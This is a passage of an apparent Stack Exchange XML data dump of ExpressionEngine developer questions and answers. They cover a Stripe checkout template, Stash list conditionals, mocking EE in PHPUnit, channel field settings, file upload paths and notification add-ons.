{shipping_postcode}&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_region_name}&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_country_name}&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_phone}&amp;lt;/dd&amp;gt;&#xA;                            {/if}&#xA;                    &amp;lt;/dl&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Order Summary&amp;lt;/legend&amp;gt;&#xA;&#xA;                    &amp;lt;table&amp;gt;&#xA;                        &amp;lt;thead&amp;gt;&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;th width=&quot;800&quot; style=&quot;text-align:left&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th width=&quot;200&quot; style=&quot;text-align:right&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                        &amp;lt;/thead&amp;gt;&#xA;                        &amp;lt;tbody&amp;gt;&#xA;                            {items}&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:left&quot;&amp;gt;{item_qty} &amp;amp;times; {title}&amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            {/items}&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;th style=&quot;text-align:left&quot;&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                            {if shipping_method_id}&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:left&quot;&amp;gt;Shipping ({shipping_method})&amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            {/if}&#xA;                            {if order_tax_val}&#xA;                                &amp;lt;tr&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:left&quot;&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;                                    &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;/tr&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;th style=&quot;text-align:left&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_total}&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                        &amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 columns&quot;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;                {if error:payment_method}&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}       &#xA;&#xA;                &amp;lt;label for=&quot;payment_method&quot;&amp;gt;&amp;lt;input type=&quot;radio&quot;  checked = &quot;checked&quot; name=&quot;payment_method&quot; id=&quot;stripe&quot; value=&quot;stripe&quot;&amp;gt; Checkout with our secure form.&amp;lt;/label&amp;gt;&#xA;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; value=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; value=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;select id=&quot;payment_exp_month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                            {exp_month_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;select id=&quot;payment_exp_year&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                            {exp_year_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_csc&quot; value=&quot;&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;label for=&quot;payment_method&quot;&amp;gt;&amp;lt;input type=&quot;radio&quot; id=&quot;paypal&quot; name=&quot;payment_method&quot; value=&quot;paypal_express&quot;&amp;gt; or Pay with Paypal&amp;lt;/label&amp;gt;&#xA;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='store/shipping'}&quot; class=&quot;store-button back&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; id=&quot;checkout_submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; class=&quot;store-button order&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="359" LastActivityDate="2013-10-29T15:59:45.837" Title="Expresso Store, Stripe error: The Token field is required" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11347" PostTypeId="2" ParentId="11344" CreationDate="2013-06-18T20:43:26.270" Score="1" Body="&lt;p&gt;Turns out it works this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_subject-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;returns('fetch_param', 11, array('numerator', '1'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This says when the mock EE object receives a call to fetch_param with the arguments 'numerator' and '1' (&lt;code&gt;$this-&amp;gt;EE-&amp;gt;fetch_param('numerator', '1')&lt;/code&gt; in the plugin code) return the value 11. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar can be done for the tagdata property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_subject-&amp;gt;EE-&amp;gt;tagdata = 'This is text simulating the contents of a tag pair';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Voila! Now you can test module and plugin tags.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2013-06-18T20:43:26.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11348" PostTypeId="2" ParentId="11034" CreationDate="2013-06-18T21:10:02.997" Score="0" Body="&lt;p&gt;Is the {entry_id} tag what you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:playa:parents entry_id=&quot;1&quot; channel=&quot;my_channel&quot;}&#xA;   {entry_id}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the context of &lt;code&gt;{exp:playa:parents}&lt;/code&gt;, it will refer to the parent's id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's entirely not possible to get at the field_id of the parent that holds the relationship with the way EE and Playa are both architected.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditDate="2013-06-21T19:14:25.313" LastActivityDate="2013-06-21T19:14:25.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11349" PostTypeId="2" ParentId="11333" CreationDate="2013-06-18T22:51:48.003" Score="2" Body="&lt;p&gt;It seems that signed URLs are not an option in Assets at present but the good news is that IntoEEtive have confirmed that Protected Links should work perfectly well with Assets files so it should be possible to provide secure file links on the front-end with the help of this addon.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-18T22:51:48.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11350" PostTypeId="1" CreationDate="2013-06-18T22:54:17.480" Score="1" ViewCount="221" Body="&lt;p&gt;I'm trying to pull up the 'settings' from some fieldtypes, particularly the safecracker_file or the file fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've instantiated the API and I'm calling :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_handler('safecracker_file');&#xA;$fieldsettings = $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;get_settings(11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 11 is the reference of the Field ID. however, I'm constantly getting an empty array returned which would indicate that the field doesn’t exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm following the docs from here &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#id10&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_fields.html#id10&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-06-19T13:44:54.330" Title="returning settings of channel Field using channel_api" Tags="|add-on-development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11351" PostTypeId="2" ParentId="11350" CreationDate="2013-06-18T23:05:42.060" Score="0" Body="&lt;p&gt;I would use Channel Data for this. The models in EE are so inconsistent, I find them hard to use reliably. Perhaps if the documentation was better they would be easy to use, but since it's not I created my own library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;https://github.com/objectivehtml/Channel-Data&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you instantiate Channel Data, I would use this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$settings = $this-&amp;gt;EE-&amp;gt;channel_data-&amp;gt;get_field($field_id)-&amp;gt;row('field_settings');&#xA;$settings = is_string($settings) ? unserialize(base64_decode($settings)) : $settings;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my experience, instantiating the FT object is really unnecessary when the data is stored in the db. However, you very well may need to do so. My answer is merely offering a possible alternative to solving your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a basic Active Record call, and do away with Channel Data. But I use Channel Data in &lt;em&gt;all&lt;/em&gt; of my add-ons, so it's more like a global polymorphic model.  I typically interface with Channel Data through my add-ons model class to keep a strict separation of MVC logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, not totally sure if this is what you are looking for, but I have solved this problem quite simply by fetching the settings from the DB myself. It should work just fine too provided the data you need isn't generated by instantiating the FT object.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-06-18T23:05:42.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11352" PostTypeId="1" AcceptedAnswerId="11373" CreationDate="2013-06-19T01:28:07.843" Score="1" ViewCount="661" Body="&lt;p&gt;I've got an interesting problem that is leading me to believe I am approaching things totally wrong with stash... Essentially I am trying to call a &quot;get_list&quot; inside a variable that I am using as a placeholder in the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a layout that I share across the site&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;{stash:embed:partials:global_html}&#xA;  &amp;lt;head&amp;gt;&#xA;    {stash:embed:partials:global_html_head}&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body class=&quot;{stash:body_class}&quot;&amp;gt;&#xA;    &amp;lt;div class='container shadow'&amp;gt;&#xA;      &amp;lt;header class='header-page' role='banner'&amp;gt;&#xA;        {stash:embed:partials:global_html_header}&#xA;      &amp;lt;/header&amp;gt;&#xA;      &amp;lt;!-- /END #Header --&amp;gt;&#xA;      &amp;lt;section class='content' role='main'&amp;gt;&#xA;        {!-- Define the primary content or listing in the model. --}&#xA;        {if {exp:stash:not_empty name=&quot;content-primary&quot;}}&#xA;          &amp;lt;article class='content-main'&amp;gt;&#xA;            {exp:stash:content-primary}&#xA;          &amp;lt;/article&amp;gt;&#xA;          &amp;lt;!-- /END .content-main --&amp;gt;&#xA;        {/if}&#xA;      &amp;lt;/section&amp;gt;&#xA;      &amp;lt;!-- /END section .content --&amp;gt;&#xA;      &amp;lt;section class='sidebar-page' role='complementary'&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Sidebarpaloooooza&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;/section&amp;gt;&#xA;      &amp;lt;!-- /END .sidebar-page --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- /END .container --&amp;gt;&#xA;    &amp;lt;footer class='footer-page container' role='contentinfo'&amp;gt;&#xA;      {stash:embed:partials:global_html_footer}&#xA;    &amp;lt;/footer&amp;gt;&#xA;  &amp;lt;/body&amp;gt;&#xA;  &amp;lt;!-- /END .body_class --&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the layout I have placeholder variables to grab data from my models for display in the layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Define the primary content or listing in the model. --}&#xA;{if {exp:stash:not_empty name=&quot;content-primary&quot;}}&#xA;  &amp;lt;section class='content-main'&amp;gt;&#xA;    {exp:stash:content-primary}&#xA;  &amp;lt;/section&amp;gt;&#xA;  &amp;lt;!-- /END .content-main --&amp;gt;&#xA;{/if}&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;!-- /END section .content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my model I am grabbing a nested list of entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;  name=&quot;listing&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;  parse_depth=&quot;2&quot;&#xA;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;ch_company_location&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    {global:param_disable_default}&#xA;  }&#xA;      {stash:some_var}{cf_var_goes_here}{/stash:some_var}&#xA;      {!-- This is a Matrix Field --}&#xA;      {exp:stash:set_list:nested name=&quot;employees&quot;}&#xA;        {cf_matrix_field}&#xA;          {stash:var_one}{cf_var_1}{/stash:var_one}&#xA;          {stash:var_two}{cf_var_2}{/stash:var_two}&#xA;          {stash:var_three}{cf_var_3}{/stash:var_three}&#xA;        {/cf_matrix_field}&#xA;      {/exp:stash:set_list:nested}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I can't wrap my head around is how to get conditionals, {count}, {switch}, and {total_results} to work in when defining {exp:stash:content-primary}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Primary content area --}&#xA;{exp:stash:set&#xA;  name=&quot;content-primary&quot;&#xA;  output=&quot;no&quot;&#xA;  parse_conditionals=&quot;yes&quot;&#xA;  parse_tags=&quot;no&quot;&#xA;  parse_vars=&quot;yes&quot;&#xA;}&#xA;  {exp:stash:get_list&#xA;    name=&quot;listing&quot;&#xA;    prefix =&quot;parent&quot;&#xA;  }&#xA;    {exp:stash:get_list:nested&#xA;      name=&quot;employees&quot;&#xA;      prefix =&quot;emp&quot;&#xA;    }&#xA;      {if emp:count == 1}&#xA;        &amp;lt;div class=&quot;employees&quot;&amp;gt;&#xA;      {/if}&#xA;        &amp;lt;div class=&quot;employee {emp:switch=&quot;first||last&quot;}&quot;&amp;gt;&#xA;          &amp;lt;dl&amp;gt;&#xA;            &amp;lt;dt&amp;gt;{var_one}&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;{var_one}&amp;lt;/dd&amp;gt;&#xA;            &amp;lt;dd&amp;gt;var_one&amp;lt;/dd&amp;gt;&#xA;          &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      {if emp:count == emp:total_results}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /END .employees --&amp;gt;&#xA;      {/if}&#xA;    {/exp:stash:get_list:nested}&#xA;  {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No matter what I do I trigger the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected ':' in /system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Use of undefined constant count - assumed 'count'&#xA;Filename: libraries/Functions.php(683) : eval()'d code&#xA;Line Number: 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried parent:switch/parent:count/parent:total_results and just plain old {switch}/{count}/{total_results} in addition to the &quot;emp:*&quot; to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I approaching this incorrectly? Is there a way to define global &quot;buckets&quot; that I can load stash variables, lists, and nested lists into inside my layout(s)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Stash 2.3.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-06-19T20:40:57.290" Title="Can I call a get_list within a exp:stash:set and use conditionals + single variables?" Tags="|matrix|stash|conditionals|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11353" PostTypeId="2" ParentId="11330" CreationDate="2013-06-19T07:29:26.873" Score="1" Body="&lt;p&gt;It looks like CE Tweet is trying to access the cache because your OAuth credentials aren't working with Twitter. I'd double check the credentials in your config file as outlined in the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/installation&quot; rel=&quot;nofollow&quot;&gt;CE Tweet installation instructions&lt;/a&gt; and then try regenerating your access token for the twitter application if that doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-06-19T07:29:26.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11354" PostTypeId="1" CreationDate="2013-06-19T08:46:23.657" Score="1" ViewCount="604" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Sectors&quot;}&#xA;{parents field=&quot;publication_sector&quot; channel=&quot;publications&quot; orderby=&quot;publication_date&quot; search:parents:publication_type=&quot;Book&quot; sort=&quot;desc&quot; limit=&quot;1&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the &lt;code&gt;search&lt;/code&gt; attribute doesn't make any difference to the results returned by &lt;code&gt;parents&lt;/code&gt;. I have also tried &lt;code&gt;search:publication_type=&quot;Book&quot;&lt;/code&gt;. The &lt;code&gt;orderby&lt;/code&gt; also doesn't work. How can I get the parents tag to behave the way I want it to??&lt;/p&gt;&#xA;" OwnerUserId="1499" LastActivityDate="2013-06-19T14:47:43.993" Title="Search {parents} tag" Tags="|search|relationships|parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11356" PostTypeId="2" ParentId="10828" CreationDate="2013-06-19T09:19:24.273" Score="3" Body="&lt;p&gt;I'm using PHPUnit, which is by far more popular in PHP-land. The full ins and outs of getting it set up are probably beyond a stack exchange answer, but assuming there are a couple things which should put you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing with EE and CI in general is always an uphill battle, since they weren't really designed with testing in mind, and there are no set standards of how to do things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://github.com/padraic/mockery&quot; rel=&quot;nofollow&quot;&gt;Mockery&lt;/a&gt; to stub out all the core EE classes, and set expectations that they are called. Try to avoid loading the core EE framework altogether, just use mock objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my test bootstrap I wrote a &lt;code&gt;ee()&lt;/code&gt; helper method which returns the global mocked EE instance, which you can use to set expectations on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Database access is a bit more tricky - best bet is probably to create a test database, and then manually load the CI DB components and hook them up to the test database. Using expectations with database driven methods doesn't work very well in my experience.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-19T09:19:24.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11357" PostTypeId="1" CreationDate="2013-06-19T09:29:31.283" Score="1" ViewCount="2523" Body="&lt;p&gt;Site has just launched - and no issue with uploaded pdfs previously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pdf links were broken and exisiting files not visible in directories. Trying to re-upload pdf and get message, file upload path is not valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only have CMS access is there anything I can do to resolve and upload the file?&lt;/p&gt;&#xA;" OwnerUserId="1680" LastActivityDate="2013-10-07T09:40:18.120" Title="Unable to upload files to directory 'file upload path not valid'" Tags="|file-uploads|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11358" PostTypeId="1" CreationDate="2013-06-19T09:45:12.373" Score="1" ViewCount="91" Body="&lt;p&gt;Hi Im looking for advice in either code format or any addons/modules etc available for EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel that is set out as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title&#xA;Description&#xA;Price 1&#xA;Price 2&#xA;Price 3&#xA;Price 4&#xA;Category:  (A,B,C,D)&#xA;Actual Price:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to batch adjust the price of Price 1,2,3,4 depending on changes with the supplier of the equipment either across the board or dependent on 1 category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do it with normally with PHP, but is there a better way built in to EE or a hybrid php/ee option?&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2013-06-19T10:29:46.363" Title="Batch Channel Updating - Multiple Fields" Tags="|ee2|cartthrob|batch-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11359" PostTypeId="2" ParentId="11357" CreationDate="2013-06-19T09:50:15.477" Score="1" Body="&lt;p&gt;It sounds like you will need to update file paths to take into account the new (live) server environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Super Administrator access then go to Content-&gt;Files-&gt;File Upload Preferences and check the paths in there. You will need to specify the paths from the root of your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I cannot tell you what &lt;em&gt;should&lt;/em&gt; be in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that your changes don't 'stick' then it may be that the file upload paths are specified in a config file. To edit this you will need access to the server via FTP. There is also the possibility that the site is using multiple config files with something like Focus Labs Config. In which case it gets a little more complicated as there will be separate files for each environment the site is served in (local, dev, staging, production).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also find that you will need to update the permissions on the file upload directories but for that you will need access to the server via FTP, SSH or perhaps your hosting company provides a control panel that will allow you to update the permissions.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-19T09:50:15.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11360" PostTypeId="2" ParentId="11358" CreationDate="2013-06-19T10:29:46.363" Score="2" Body="&lt;p&gt;You can use DataGrab (&lt;a href=&quot;http://brandnewbox.co.uk/support/category/datagrab/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/support/category/datagrab/&lt;/a&gt;) or Importer (&lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/importer/&lt;/a&gt;) module for the batch updating the entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, these module would be better solution rather than having any other.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-19T10:29:46.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11361" PostTypeId="1" AcceptedAnswerId="11364" CreationDate="2013-06-19T13:25:03.820" Score="1" ViewCount="122" Body="&lt;p&gt;How to make it possible for users to subscribe to entry updates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking it would kinda like a newsgroup. &#xA;User subscribe but to entry and or channel updates - but giving their email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And they get notification mail when entries are updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;been looking at a few plugins : ( but it looks like only the admin is notified )&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-emailer&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/safecracker-emailer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ee2-entry-notifier&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee2-entry-notifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does any have experince with these two ? &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="717" LastActivityDate="2013-06-19T13:54:17.947" Title="How to make it possible for users to subscribe to entry updates" Tags="|channel-entries|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
